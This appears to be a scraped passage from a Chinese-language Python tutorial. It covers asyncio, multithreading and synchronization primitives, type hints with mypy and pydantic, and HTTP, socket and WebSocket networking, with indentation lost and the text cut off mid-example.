import asyncio
from concurrent.futures import ProcessPoolExecutor
import aiohttp
# CPU 密集型任务放到进程池
def heavy_computation(data):
"""在子进程中执行 CPU 密集计算"""
import time
time.sleep(1) # 模拟计算
return sum(ord(c) for c in data)
async def fetch_and_process(session, url):
"""异步获取数据 + 多进程处理"""
# 1. 异步获取数据(IO密集)
async with session.get(url) as resp:
data = await resp.text()
# 2. 在进程池中处理数据(CPU密集)
loop = asyncio.get_event_loop()
result = await loop.run_in_executor(None, heavy_computation, data)
return result
async def main():
urls = ["https://example.com"] * 10
# 创建进程池
executor = ProcessPoolExecutor(max_workers=4)
async with aiohttp.ClientSession() as session:
tasks = [fetch_and_process(session, url) for url in urls]
results = await asyncio.gather(*tasks)
print(results)
asyncio.run(main())
# 多线程示例
from concurrent.futures import ThreadPoolExecutor
import time
def download(url):
time.sleep(1) # 模拟下载
return f"{url} 下载完成"
# 线程池
with ThreadPoolExecutor(max_workers=3) as executor:
urls = ["url1", "url2", "url3", "url4", "url5"]
results = list(executor.map(download, urls))
print(results)
# 多进程示例
from concurrent.futures import ProcessPoolExecutor
def compute(n):
return sum(i * i for i in range(n))
with ProcessPoolExecutor() as executor:
results = list(executor.map(compute, [10**6, 10**7, 10**6]))
print(results)
aiohttp 而不是 requests,用 aiofiles 而不是 open()import asyncio
import aiohttp
# 异步上下文管理器:用 async with 管理资源
class AsyncDatabase:
async def __aenter__(self):
print("建立数据库连接...")
await asyncio.sleep(0.5) # 模拟连接耗时
self.conn = "connected"
return self
async def __aexit__(self, exc_type, exc_val, exc_tb):
print("关闭数据库连接...")
await asyncio.sleep(0.1)
self.conn = None
return False # 不抑制异常
async def query(self, sql):
await asyncio.sleep(0.1)
return f"结果: {sql}"
async def main():
async with AsyncDatabase() as db:
result = await db.query("SELECT * FROM users")
print(result)
# 退出 async with 时自动关闭连接
asyncio.run(main())
import asyncio
# 异步生成器:逐个产生数据,适合流式处理
async def async_range(n):
for i in range(n):
await asyncio.sleep(0.1) # 模拟异步 IO
yield i
async def fetch_pages(url_base, total_pages):
"""模拟分页获取数据"""
async with aiohttp.ClientSession() as session:
for page in range(1, total_pages + 1):
async with session.get(f"{url_base}?page={page}") as resp:
data = await resp.json()
yield data # 每页数据逐个产出
async def main():
# 异步生成器配合 async for 使用
async for num in async_range(5):
print(num, end=" ") # 0 1 2 3 4
# 异步生成器表达式
squares = [x async for x in async_range(5)]
print(squares) # [0, 1, 4, 9, 16]
asyncio.run(main())
import asyncio
import aiohttp
import logging
logger = logging.getLogger(__name__)
# ===== 限流:控制并发数 =====
class RateLimiter:
"""令牌桶限流器"""
def __init__(self, rate: float, max_tokens: int):
self.rate = rate # 每秒产生的令牌数
self.max_tokens = max_tokens
self.tokens = max_tokens
self.last_refill = asyncio.get_event_loop().time()
self._lock = asyncio.Lock()
async def acquire(self):
async with self._lock:
now = asyncio.get_event_loop().time()
elapsed = now - self.last_refill
self.tokens = min(self.max_tokens, self.tokens + elapsed * self.rate)
self.last_refill = now
if self.tokens < 1:
wait_time = (1 - self.tokens) / self.rate
await asyncio.sleep(wait_time)
self.tokens = 0
else:
self.tokens -= 1
# ===== 重试装饰器 =====
def async_retry(max_retries=3, delay=1.0, backoff=2.0):
def decorator(func):
async def wrapper(*args, **kwargs):
last_exception = None
current_delay = delay
for attempt in range(max_retries + 1):
try:
return await func(*args, **kwargs)
except Exception as e:
last_exception = e
if attempt < max_retries:
logger.warning(f"第 {attempt+1} 次重试,等待 {current_delay}s: {e}")
await asyncio.sleep(current_delay)
current_delay *= backoff
raise last_exception
return wrapper
return decorator
# ===== 实战:带限流和重试的批量请求 =====
limiter = RateLimiter(rate=10, max_tokens=20) # 每秒最多 10 个请求
@async_retry(max_retries=3, delay=1.0)
async def fetch_with_retry(session, url):
await limiter.acquire() # 限流
async with session.get(url, timeout=aiohttp.ClientTimeout(total=10)) as resp:
resp.raise_for_status()
return await resp.json()
async def batch_fetch(urls):
connector = aiohttp.TCPConnector(limit=50) # 连接池限制
async with aiohttp.ClientSession(connector=connector) as session:
tasks = [fetch_with_retry(session, url) for url in urls]
results = await asyncio.gather(*tasks, return_exceptions=True)
return results
# 使用
urls = [f"https://api.example.com/data/{i}" for i in range(100)]
results = asyncio.run(batch_fetch(urls))
import asyncio
import time
import requests # 同步库!
async def bad_example():
# ❌ 错误:requests.get 会阻塞整个事件循环!
resp = requests.get("https://api.example.com") # 阻塞 2 秒
# 在这 2 秒内,所有其他协程都无法执行
async def good_example():
# ✅ 正确:用 aiohttp 替代
async with aiohttp.ClientSession() as session:
async with session.get("https://api.example.com") as resp:
data = await resp.json()
# ✅ 或者用 run_in_executor 把同步代码放到线程池
loop = asyncio.get_event_loop()
resp = await loop.run_in_executor(None, requests.get, "https://api.example.com")
async def fetch_data():
await asyncio.sleep(1)
return {"data": 42}
async def bad():
# ❌ 忘记 await,result 是协程对象,不是数据
result = fetch_data()
print(result) # <coroutine object fetch_data at 0x...>
async def good():
# ✅ 正确
result = await fetch_data()
print(result) # {"data": 42}
import asyncio
import threading
lock = threading.Lock() # ❌ 这是线程锁,不是协程锁!
async def bad():
with lock: # 会阻塞事件循环
await asyncio.sleep(1)
async def good():
async_lock = asyncio.Lock() # ✅ 用异步锁
async with async_lock:
await asyncio.sleep(1) # 不会阻塞事件循环
上一章我们了解了多线程、多进程和异步的"选型指南"。本章将系统深入地讲解多线程——从最基础的线程创建,到线程同步、线程池、生产者-消费者模式,再到实战中的多线程下载器。多线程是处理 IO 密集型任务的利器,也是面试中的高频考点。
进程 = 一家餐厅。每家餐厅有自己的厨房、食材、厨师(独立的内存空间)。
线程 = 餐厅里的一个厨师。多个厨师共享同一个厨房和食材(共享进程的内存空间),但各自有自己的工作台(栈空间)。
开一家新餐厅(创建进程)很贵——要装修、买设备、招人。但在同一家餐厅里多加一个厨师(创建线程)很便宜——只需要一张工作台。
| 对比项 | 进程(Process) | 线程(Thread) |
|---|---|---|
| 内存空间 | 独立(互相隔离) | 共享(同一进程内) |
| 创建开销 | 大(需要分配内存、加载代码) | 小(只需要创建栈) |
| 切换开销 | 大(需要切换内存映射) | 小(只需要切换寄存器) |
| 通信方式 | 管道、队列、共享内存(复杂) | 直接读写共享变量(简单但危险) |
| 数据安全 | 天然隔离,互不影响 | 需要手动加锁保护 |
| 适用场景 | CPU 密集型(真正并行) | IO 密集型(等待时切换) |
Python 标准库提供了 threading 模块来创建和管理线程。最常用的方式是创建 Thread 对象:
import threading
import time
def task(name, seconds):
"""线程要执行的任务"""
print(f"[{name}] 开始工作")
time.sleep(seconds) # 模拟耗时操作
print(f"[{name}] 工作完成,耗时 {seconds} 秒")
# 创建线程
t1 = threading.Thread(target=task, args=("下载文件A", 2))
t2 = threading.Thread(target=task, args=("下载文件B", 3))
# 启动线程
t1.start()
t2.start()
print("主线程继续做其他事情...")
# 等待线程结束
t1.join()
t2.join()
print("所有线程已完成")
start():创建一个新线程,在新线程中执行 run() 方法。这是正确用法。run():只是普通的方法调用,在当前线程中执行,不会创建新线程。# 错误写法——不会创建新线程!
t = threading.Thread(target=task, args=("test", 1))
t.run() # 在主线程中执行,和直接调用 task("test", 1) 没区别
# 正确写法
t = threading.Thread(target=task, args=("test", 1))
t.start() # 创建新线程,在新线程中执行
join() 会阻塞当前线程,直到目标线程执行完毕。如果不调用 join(),主线程不会等待子线程:
import threading
import time
def slow_task():
time.sleep(2)
print("子线程完成")
t = threading.Thread(target=slow_task)
t.start()
# 不加 join():主线程不会等待
print("主线程结束") # 先打印
# 子线程可能还没完成,程序就退出了
# 加 join():主线程会等待
t.join() # 阻塞,直到 t 执行完毕
print("主线程结束") # 子线程完成后才打印
守护线程(daemon thread)是在后台运行的线程。当所有非守护线程结束时,守护线程会被自动终止,不管它有没有执行完。
典型用途:日志收集、心跳检测、后台监控——这些任务不需要阻止程序退出。
import threading
import time
def background_logger():
"""后台日志线程——每隔 1 秒打印一次"""
while True:
print(f"[日志] 系统运行正常...")
time.sleep(1)
# 设置 daemon=True
logger = threading.Thread(target=background_logger, daemon=True)
logger.start()
# 主线程做正事
time.sleep(3)
print("主线程结束,守护线程自动终止")
# 程序退出时,守护线程被强制终止,不会无限循环
t = threading.Thread(target=task)
t.start()
t.setDaemon(True) # 报错!线程已启动,不能再设置 daemon
同一进程内的线程共享内存空间,这意味着多个线程可以直接读写同一个变量。但这会带来竞态条件(Race Condition):
import threading
counter = 0
def increment():
global counter
for _ in range(100000):
counter += 1 # 这不是原子操作!
# 创建 4 个线程同时修改 counter
threads = [threading.Thread(target=increment) for _ in range(4)]
for t in threads:
t.start()
for t in threads:
t.join()
print(f"期望值:400000,实际值:{counter}")
# 实际值可能是 287431、312558 等随机数,永远不是 400000
counter += 1 实际上分三步执行:
线程 A 在步骤 1 读到 counter=100,还没来得及写入,线程 B 也读到 counter=100。两个线程都写入 101,结果少加了一次。
这就是为什么我们需要锁(Lock)来保护共享变量。
import threading
counter = 0
lock = threading.Lock() # 创建一把锁
def safe_increment():
global counter
for _ in range(100000):
lock.acquire() # 加锁(获取锁)
try:
counter += 1
finally:
lock.release() # 解锁(释放锁)——必须在 finally 中!
threads = [threading.Thread(target=safe_increment) for _ in range(4)]
for t in threads:
t.start()
for t in threads:
t.join()
print(f"期望值:400000,实际值:{counter}") # 一定是 400000
更推荐用 with 语句,自动管理加锁和解锁:
import threading
counter = 0
lock = threading.Lock()
def safe_increment():
global counter
for _ in range(100000):
with lock: # 自动 acquire 和 release
counter += 1
如果同一线程需要多次获取同一把锁,用 RLock:
import threading
rlock = threading.RLock()
def recursive_function(n):
with rlock: # 同一线程可以多次 acquire
if n > 0:
print(f"递归层级:{n}")
recursive_function(n - 1)
recursive_function(3)
# 用普通 Lock 会死锁!RLock 允许同一线程重复获取
import threading
import time
# 允许最多 3 个线程同时访问
sem = threading.Semaphore(3)
def access_resource(thread_id):
print(f"线程 {thread_id} 等待进入...")
with sem:
print(f"线程 {thread_id} 正在使用资源")
time.sleep(2)
print(f"线程 {thread_id} 离开")
# 创建 8 个线程,但同时只有 3 个能进入
threads = [threading.Thread(target=access_resource, args=(i,)) for i in range(8)]
for t in threads:
t.start()
for t in threads:
t.join()
import threading
import time
condition = threading.Condition()
data_ready = False
def producer():
global data_ready
time.sleep(2) # 模拟生产数据
with condition:
data_ready = True
print("生产者:数据已准备好,通知消费者")
condition.notify() # 唤醒等待的线程
def consumer():
with condition:
while not data_ready:
print("消费者:数据还没好,等待中...")
condition.wait() # 释放锁并等待通知
print("消费者:收到通知,开始处理数据")
t1 = threading.Thread(target=consumer)
t2 = threading.Thread(target=producer)
t1.start()
t2.start()
t1.join()
t2.join()
多线程编程中,最经典的模式是生产者-消费者模式。Python 的 queue.Queue 是线程安全的队列,不需要手动加锁:
import threading
import queue
import time
import random
# 创建线程安全的队列
q = queue.Queue(maxsize=5) # 最多容纳 5 个元素
def producer(name):
"""生产者:往队列里放数据"""
for i in range(5):
item = f"{name}-商品{i}"
q.put(item) # 队列满时会阻塞等待
print(f"[{name}] 生产了 {item},队列大小:{q.qsize()}")
time.sleep(random.uniform(0.1, 0.5))
def consumer(name):
"""消费者:从队列里取数据"""
while True:
item = q.get() # 队列空时会阻塞等待
if item is None: # 毒丸信号,结束消费者
break
print(f"[{name}] 消费了 {item}")
time.sleep(random.uniform(0.2, 0.8))
q.task_done() # 标记任务完成
# 创建 2 个生产者和 3 个消费者
producers = [
threading.Thread(target=producer, args=(f"生产者{i}",))
for i in range(2)
]
consumers = [
threading.Thread(target=consumer, args=(f"消费者{i}",))
for i in range(3)
]
for t in producers + consumers:
t.start()
for t in producers:
t.join()
# 生产者完成后,给每个消费者发"毒丸"让它们退出
for _ in consumers:
q.put(None)
for t in consumers:
t.join()
print("所有任务完成")
| 方法 | 说明 |
|---|---|
put(item) | 放入元素,队列满时阻塞等待 |
put(item, timeout=5) | 放入元素,最多等 5 秒,超时抛异常 |
get() | 取出元素,队列空时阻塞等待 |
get(timeout=5) | 取出元素,最多等 5 秒,超时抛异常 |
task_done() | 标记一个任务已完成(配合 join() 使用) |
join() | 阻塞直到队列中所有任务都被 task_done |
qsize() | 返回队列当前大小 |
empty() | 判断队列是否为空(不完全可靠) |
full() | 判断队列是否已满(不完全可靠) |
手动创建线程有几个问题:
concurrent.futures.ThreadPoolExecutor 解决了所有这些问题:
from concurrent.futures import ThreadPoolExecutor, as_completed
import time
def download(url):
"""模拟下载"""
time.sleep(1) # 模拟网络请求
return f"{url} 下载完成,大小 {len(url) * 100}KB"
urls = [
"https://example.com/file1.zip",
"https://example.com/file2.zip",
"https://example.com/file3.zip",
"https://example.com/file4.zip",
"https://example.com/file5.zip",
]
# ===== 方式一:map()——按顺序获取结果 =====
with ThreadPoolExecutor(max_workers=3) as executor:
# max_workers=3 表示最多同时 3 个线程
results = list(executor.map(download, urls))
for r in results:
print(r)
# 结果的顺序和 urls 的顺序一致
# ===== 方式二:submit() + as_completed()——按完成顺序获取结果 =====
with ThreadPoolExecutor(max_workers=3) as executor:
# 提交所有任务
future_to_url = {executor.submit(download, url): url for url in urls}
# 按完成顺序处理结果
for future in as_completed(future_to_url):
url = future_to_url[future]
try:
result = future.result() # 获取返回值
print(f"[完成] {result}")
except Exception as e:
print(f"[失败] {url}: {e}")
# ===== 方式三:add_done_callback()——回调函数 =====
def on_done(future):
"""任务完成时自动调用"""
try:
result = future.result()
print(f"[回调] {result}")
except Exception as e:
print(f"[回调异常] {e}")
with ThreadPoolExecutor(max_workers=3) as executor:
for url in urls:
future = executor.submit(download, url)
future.add_done_callback(on_done) # 注册回调
# 不需要手动遍历 future,回调会自动触发
map():最简单,结果按顺序返回,适合简单的批量任务submit() + as_completed():最灵活,先完成的先处理,适合需要实时反馈的场景add_done_callback():事件驱动风格,适合异步回调场景Event 是最简单的线程间通信机制——一个线程发出信号,其他线程等待这个信号:
import threading
import time
# 创建事件对象
startup_event = threading.Event()
def wait_for_startup(name):
"""等待系统启动完成"""
print(f"[{name}] 等待系统启动...")
startup_event.wait() # 阻塞,直到事件被 set()
print(f"[{name}] 系统已启动,开始工作")
def initialize_system():
"""初始化系统"""
print("[系统] 正在初始化...")
time.sleep(3) # 模拟初始化过程
print("[系统] 初始化完成!")
startup_event.set() # 设置事件,所有等待的线程会被唤醒
# 多个线程等待同一个事件
workers = [
threading.Thread(target=wait_for_startup, args=(f"服务{i}",))
for i in range(3)
]
init = threading.Thread(target=initialize_system)
for t in workers:
t.start()
init.start()
for t in workers + [init]:
t.join()
wait(timeout=None):阻塞等待事件被 set。可以设置超时时间set():设置事件标志,唤醒所有等待的线程clear():清除事件标志,之后 wait() 会再次阻塞is_set():检查事件是否被设置Timer 可以让一个函数延迟指定时间后执行:
import threading
def timeout_action():
print("超时!执行紧急操作")
# 5 秒后执行 timeout_action
timer = threading.Timer(5.0, timeout_action)
timer.start()
print("主线程继续工作...")
# 如果在 5 秒内完成了工作,可以取消定时器
# timer.cancel() # 取消定时器,timeout_action 不会执行
timer.join()
把前面学到的知识综合起来,实现一个多线程文件下载器:
import threading
import time
import queue
from concurrent.futures import ThreadPoolExecutor, as_completed
from dataclasses import dataclass
from typing import Optional
@dataclass
class DownloadResult:
url: str
success: bool
size: int = 0
error: Optional[str] = None
elapsed: float = 0.0
class MultiThreadDownloader:
"""多线程下载管理器"""
def __init__(self, max_workers: int = 5):
self.max_workers = max_workers
self.results: list[DownloadResult] = []
self.lock = threading.Lock() # 保护 results 的锁
def download(self, url: str) -> DownloadResult:
"""下载单个文件(模拟)"""
start = time.time()
try:
# 模拟下载——实际中用 requests.get()
import random
time.sleep(random.uniform(0.5, 2.0))
size = random.randint(1024, 10240)
elapsed = time.time() - start
return DownloadResult(
url=url, success=True, size=size, elapsed=elapsed
)
except Exception as e:
return DownloadResult(
url=url, success=False, error=str(e)
)
def download_all(self, urls: list[str]) -> dict:
"""批量下载"""
start = time.time()
success_count = 0
fail_count = 0
total_size = 0
with ThreadPoolExecutor(max_workers=self.max_workers) as executor:
# 提交所有任务
future_to_url = {
executor.submit(self.download, url): url
for url in urls
}
# 按完成顺序处理结果
for future in as_completed(future_to_url):
url = future_to_url[future]
try:
result = future.result()
with self.lock: # 线程安全地更新统计
self.results.append(result)
if result.success:
success_count += 1
total_size += result.size
print(f"✓ {url} ({result.size}B, {result.elapsed:.2f}s)")
else:
fail_count += 1
print(f"✗ {url} 失败: {result.error}")
except Exception as e:
fail_count += 1
print(f"✗ {url} 异常: {e}")
total_time = time.time() - start
return {
"total": len(urls),
"success": success_count,
"fail": fail_count,
"total_size": total_size,
"time": round(total_time, 2),
}
# 使用示例
downloader = MultiThreadDownloader(max_workers=3)
urls = [f"https://example.com/file{i}.zip" for i in range(10)]
stats = downloader.download_all(urls)
print(f"\n=== 下载统计 ===")
print(f"总数:{stats['total']},成功:{stats['success']},失败:{stats['fail']}")
print(f"总大小:{stats['total_size']}B,耗时:{stats['time']}秒")
import threading
lock_a = threading.Lock()
lock_b = threading.Lock()
def thread1():
with lock_a:
print("线程1:获取了 lock_a,等待 lock_b...")
with lock_b: # 等待 lock_b(被线程2持有)
print("线程1:获取了 lock_b")
def thread2():
with lock_b:
print("线程2:获取了 lock_b,等待 lock_a...")
with lock_a: # 等待 lock_a(被线程1持有)
print("线程2:获取了 lock_a")
# 死锁!线程1等 lock_b,线程2等 lock_a,谁也不让步
t1 = threading.Thread(target=thread1)
t2 = threading.Thread(target=thread2)
t1.start()
t2.start()
# 程序卡死,永远无法结束
lock.acquire(timeout=5),超时后放弃并重试queue.Queue 就不用手动加锁Python 是动态类型语言,变量不需要声明类型。这很灵活,但在大型项目中容易出错——你可能把字符串传给了需要整数的函数。类型注解让你在代码中标注类型,IDE 和工具(如 mypy)能在运行前发现类型错误。这是现代 Python 开发的最佳实践。
Python 是动态类型语言,变量没有类型声明。类型注解让代码更易读,还能用工具在运行前发现 bug:
# 没有类型注解——参数是什么类型?返回什么?
def process(data):
...
# 有类型注解——一目了然
def process(data: list[dict[str, int]]) -> list[int]:
...
# 变量注解
name: str = "张三"
age: int = 18
score: float = 95.5
is_valid: bool = True
# 函数参数和返回值注解
def greet(name: str, times: int = 1) -> str:
return (f"Hello {name}! ") * times
# 容器类型(Python 3.9+)
numbers: list[int] = [1, 2, 3]
mapping: dict[str, int] = {"a": 1, "b": 2}
coordinates: tuple[float, float] = (3.0, 4.0)
unique: set[int] = {1, 2, 3}
类型注解的写法在不同 Python 版本间有重要差异,直接复制代码到低版本会报 TypeError: 'type' object is not subscriptable:
| 写法 | 最低版本 | 低版本替代方案 |
|---|---|---|
list[int] | 3.9+ | from typing import List; List[int] |
dict[str, int] | 3.9+ | from typing import Dict; Dict[str, int] |
int | str | 3.10+ | from typing import Union; Union[int, str] |
str | None | 3.10+ | from typing import Optional; Optional[str] |
如果你的项目需要支持 3.8/3.9,请始终使用 typing 模块的写法(大写 List/Dict/Set/Tuple),这是最安全的兼容方案。
from typing import Union, Optional, Callable, Any
# Union:多种类型之一
def process(value: Union[int, str]) -> str:
return str(value)
# Python 3.10+ 可以用 | 代替 Union
def process(value: int | str) -> str:
return str(value)
# Optional:可能是 None(等价于 Union[X, None])
def find(name: str) -> Optional[str]:
if name == "张三":
return "找到了"
return None
# Callable:可调用对象
def apply(func: Callable[[int, int], int], a: int, b: int) -> int:
return func(a, b)
# Any:任意类型
def debug(value: Any) -> None:
print(value)
from typing import TypeVar, Generic
T = TypeVar('T')
# 泛型函数
def first(items: list[T]) -> T:
return items[0]
print(first([1, 2, 3])) # 推断为 int
print(first(["a", "b"])) # 推断为 str
# 泛型类
class Stack(Generic[T]):
def __init__(self) -> None:
self._items: list[T] = []
def push(self, item: T) -> None:
self._items.append(item)
def pop(self) -> T:
return self._items.pop()
int_stack: Stack[int] = Stack()
int_stack.push(1)
int_stack.push(2)
print(int_stack.pop()) # 2
from typing import TypeAlias, Literal, TypedDict
# ===== TypeAlias:给复杂类型起别名 =====
UserId: TypeAlias = int
UserDict: TypeAlias = dict[str, str | int]
def get_user(uid: UserId) -> UserDict:
return {"id": uid, "name": "张三"}
# ===== Literal:限制参数只能是特定值 =====
def set_direction(direction: Literal["north", "south", "east", "west"]):
print(f"方向:{direction}")
set_direction("north") # ✅
# set_direction("up") # mypy 报错:不是合法的方向
# ===== TypedDict:字典有固定的键和类型 =====
class UserInfo(TypedDict):
name: str
age: int
email: str
def create_user(info: UserInfo) -> None:
print(f"创建用户:{info['name']}")
create_user({"name": "张三", "age": 18, "email": "test@test.com"}) # ✅
# create_user({"name": "张三"}) # mypy 报错:缺少 age 和 email
# 安装 mypy
# pip install mypy
# 运行检查
# mypy your_script.py
# 示例:类型错误会被 mypy 发现
def add(a: int, b: int) -> int:
return a + b
result = add("hello", "world") # mypy 报错:str 不能传给 int 参数
# mypy 配置(pyproject.toml)
[tool.mypy]
python_version = "3.10"
warn_return_any = true # 返回 Any 类型时警告
warn_unused_configs = true # 未使用的配置项警告
disallow_untyped_defs = true # 函数必须有类型注解
check_untyped_defs = true # 检查没有注解的函数
no_implicit_optional = true # Optional 参数必须显式标注
# 为第三方库添加类型忽略(如果它们没有类型存根)
[[tool.mypy.overrides]]
module = "pandas.*"
ignore_missing_imports = true
[[tool.mypy.overrides]]
module = "requests.*"
ignore_missing_imports = true
# mypy 常用命令行选项
mypy your_script.py # 基本检查
mypy --strict your_script.py # 严格模式(推荐新项目)
mypy --ignore-missing-imports . # 忽略缺失的类型存根
mypy --show-error-codes your_script.py # 显示错误代码(方便搜索)
mypy --install-types # 自动安装缺失的类型存根
Python 一直推崇"鸭子类型"——只要它走路像鸭子、叫起来像鸭子,它就是鸭子。Protocol 让你在类型层面表达这个理念:
from typing import Protocol
# 定义协议——只要实现了这些方法,就满足这个类型
class Drawable(Protocol):
def draw(self) -> str: ...
def get_area(self) -> float: ...
# 这两个类都没有继承 Drawable,但都满足它的"协议"
class Circle:
def __init__(self, radius: float):
self.radius = radius
def draw(self) -> str:
return f"画圆(半径={self.radius})"
def get_area(self) -> float:
return 3.14 * self.radius ** 2
class Rectangle:
def __init__(self, width: float, height: float):
self.width = width
self.height = height
def draw(self) -> str:
return f"画矩形({self.width}x{self.height})"
def get_area(self) -> float:
return self.width * self.height
# 函数接受任何满足 Drawable 协议的对象
def render(shape: Drawable) -> None:
print(shape.draw())
print(f"面积:{shape.get_area()}")
render(Circle(5)) # ✅ mypy 通过
render(Rectangle(3, 4)) # ✅ mypy 通过
# render("hello") # ❌ mypy 报错:str 不满足 Drawable 协议
| 对比 | Protocol | ABC |
|---|---|---|
| 是否需要继承 | 不需要(结构化子类型) | 需要显式继承 |
| 检查时机 | 静态检查(mypy) | 运行时 |
| 适用场景 | 第三方类、已有代码 | 自己控制的类层次 |
| 灵活性 | 高(鸭子类型) | 低(必须继承) |
from typing import Final, ClassVar, TypeGuard
# Final:常量,不能被重新赋值
MAX_SIZE: Final = 100
MAX_SIZE = 200 # mypy 报错:不能修改 Final 变量
# ClassVar:类变量,不会被实例覆盖
class Config:
version: ClassVar[str] = "1.0.0" # 所有实例共享
name: str # 每个实例独立
# TypeGuard:类型守卫,告诉 mypy 缩窄类型
def is_string_list(val: list[object]) -> TypeGuard[list[str]]:
return all(isinstance(x, str) for x in val)
def process(data: list[object]) -> None:
if is_string_list(data):
# mypy 知道这里 data 是 list[str]
print(", ".join(data)) # ✅ 不会报错
else:
print("不是字符串列表")
类型注解只是"提示",Python 运行时不会检查。如果你需要运行时校验数据,用 pydantic:
from pydantic import BaseModel, Field, field_validator
class User(BaseModel):
name: str = Field(min_length=1, max_length=50)
age: int = Field(ge=0, le=150) # 0 <= age <= 150
email: str
tags: list[str] = [] # 默认值
@field_validator("email")
@classmethod
def validate_email(cls, v: str) -> str:
if "@" not in v:
raise ValueError("邮箱必须包含 @")
return v.lower()
# 创建实例——自动校验
user = User(name="张三", age=25, email="test@EXAMPLE.com")
print(user) # name='张三' age=25 email='test@example.com' tags=[]
print(user.model_dump()) # 转为字典
# 校验失败会抛出详细的错误
try:
User(name="", age=200, email="invalid")
except Exception as e:
print(e)
# 3 validation errors:
# name: String should have at least 1 character
# age: Input should be less than or equal to 150
# email: 邮箱必须包含 @
# pydantic 常用于 API 请求/响应模型
from fastapi import FastAPI
from pydantic import BaseModel
app = FastAPI()
class ItemCreate(BaseModel):
name: str
price: float = Field(gt=0) # 价格必须大于 0
description: str | None = None
@app.post("/items")
def create_item(item: ItemCreate):
# FastAPI 自动校验请求数据,不合法直接返回 422 错误
return {"item": item.model_dump()}
# 在文件顶部加上这行,所有注解都变成字符串,不再求值
# 好处:
# 1. 兼容低版本 Python(3.7+ 就能用 list[int] 语法)
# 2. 支持前向引用(在定义之前引用类名)
# 3. 略微提升导入速度(不需要在导入时求值注解)
from __future__ import annotations
def greet(name: str) -> str: # 这些注解不会在运行时求值
return f"Hello {name}"
# 前向引用——在定义之前使用类名
class Tree:
def __init__(self, left: Tree | None = None): # 没有 __future__ 会报错
self.left = left
Optional[str] 表示可以是 str 或 None,不是"参数可选"(参数可选用默认值 = None)Union、Optional 等需要从 typing 模块导入list[int] 需要 3.9+,int | str 需要 3.10+,低版本用 typing 模块网络编程让你的程序能和互联网"对话"——发送 HTTP 请求、调用 API、下载文件等。本章会介绍最常用的 requests 库和 socket 编程基础。
import requests
# GET 请求(必须设置 timeout!)
response = requests.get("https://httpbin.org/get", timeout=10)
print(response.status_code) # 200
print(response.json()) # 解析 JSON 响应
# 带参数的 GET
response = requests.get(
"https://httpbin.org/get",
params={"name": "张三", "age": 18},
timeout=10
)
# POST 请求
response = requests.post(
"https://httpbin.org/post",
json={"username": "admin", "password": "123456"},
timeout=10
)
# 自定义 headers
headers = {"Authorization": "Bearer token123"}
response = requests.get("https://httpbin.org/headers", headers=headers, timeout=10)
# 下载文件(大文件用 stream + timeout)
response = requests.get("https://example.com/image.jpg", timeout=30, stream=True)
with open("image.jpg", "wb") as f:
for chunk in response.iter_content(chunk_size=8192):
f.write(chunk)
如果不设置 timeout,当服务器不响应时,你的程序会永远卡住。这在生产环境中非常危险——一个慢请求可能阻塞整个线程池,导致服务不可用。
timeout=10:连接超时和读取超时都是 10 秒timeout=(3, 10):连接超时 3 秒,读取超时 10 秒(推荐)stream=True,避免一次性加载到内存import requests
class APIClient:
def __init__(self, base_url, timeout=10):
self.base_url = base_url
self.timeout = timeout
self.session = requests.Session()
def get(self, endpoint, **kwargs):
kwargs.setdefault("timeout", self.timeout)
resp = self.session.get(f"{self.base_url}{endpoint}", **kwargs)
resp.raise_for_status() # 状态码不是 2xx 时抛异常
return resp.json()
def post(self, endpoint, data=None, **kwargs):
kwargs.setdefault("timeout", self.timeout)
resp = self.session.post(f"{self.base_url}{endpoint}", json=data, **kwargs)
resp.raise_for_status()
return resp.json()
# 使用
api = APIClient("https://jsonplaceholder.typicode.com")
users = api.get("/users")
print(users[0]["name"])
new_post = api.post("/posts", data={"title": "标题", "body": "内容", "userId": 1})
print(new_post)
# 服务端
import socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(("localhost", 8888))
server.listen(1)
print("服务器启动,等待连接...")
conn, addr = server.accept()
print(f"客户端 {addr} 已连接")
data = conn.recv(1024).decode()
print(f"收到:{data}")
conn.send(f"服务器收到:{data}".encode())
conn.close()
server.close()
# 客户端
import socket
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(("localhost", 8888))
client.send("你好服务器".encode())
response = client.recv(1024).decode()
print(f"服务器回复:{response}")
client.close()
HTTP:你问我答(请求-响应)。客户端发请求,服务器返回结果,然后连接断开。
WebSocket:打电话(持续连接)。客户端和服务器建立连接后,双方可以随时发消息,直到主动挂断。
# 安装:pip install websockets
# ===== WebSocket 服务器 =====
import asyncio
import websockets
# 存储所有连接的客户端
connected_clients = set()
async def handler(websocket):
"""处理每个客户端连接"""
# 注册客户端
connected_clients.add(websocket)
print(f"新客户端连接,当前在线:{len(connected_clients)}")
try:
async for message in websocket:
print(f"收到消息:{message}")
# 广播给所有客户端
for client in connected_clients:
if client != websocket:
await client.send(f"其他人说:{message}")
# 回复发送者
await websocket.send(f"服务器确认:已收到你的消息")
except websockets.exceptions.ConnectionClosed:
print("客户端断开连接")
finally:
connected_clients.remove(websocket)
async def main():
async with websockets.serve(handler, "localhost", 8765):
print("WebSocket 服务器启动在 ws://localhost:8765")
await asyncio.Future() # 永久运行
asyncio.run(main())
# ===== WebSocket 客户端 =====
import asyncio
import websockets
async def client():
uri = "ws://localhost:8765"
async with websockets.connect(uri) as websocket:
# 发送消息
await websocket.send("你好,服务器!")
# 接收回复
response = await websocket.recv()
print(f"服务器回复:{response}")
# 持续通信
while True:
message = input("输入消息(quit 退出):")
if message == "quit":
break
await websocket.send(message)
response = await websocket.recv()
print(f"服务器:{response}")
asyncio.run(client())
from fastapi import FastAPI, WebSocket, WebSocketDisconnect
from fastapi.responses import HTMLResponse
from typing import List
app = FastAPI()
# 存储所有连接
class ConnectionManager:
def __init__(self):
self.active_connections: List[WebSocket] = []
async def connect(self, websocket: WebSocket):
await websocket.accept()
self.active_connections.append(websocket)
def disconnect(self, websocket: WebSocket):
self.active_connections.remove(websocket)
async def send_personal_message(self, message: str, websocket: WebSocket):
await websocket.send_text(message)
async def broadcast(self, message: str):
for connection in self.active_connections:
await connection.send_text(message)
manager = ConnectionManager()
@app.websocket("/ws/{client_id}")
async def websocket_endpoint(websocket: WebSocket, client_id: str):
await manager.connect(websocket)
await manager.broadcast(f"{client_id} 加入了聊天室")
try:
while True:
data = await websocket.receive_text()
await manager.broadcast(f"{client_id}: {data}")
except WebSocketDisconnect:
manager.disconnect(websocket)
await manager.broadcast(f"{client_id} 离开了聊天室")
# 聊天室页面
@app.get("/")
async def get():
return HTMLResponse("""
<!DOCTYPE html>
<html>
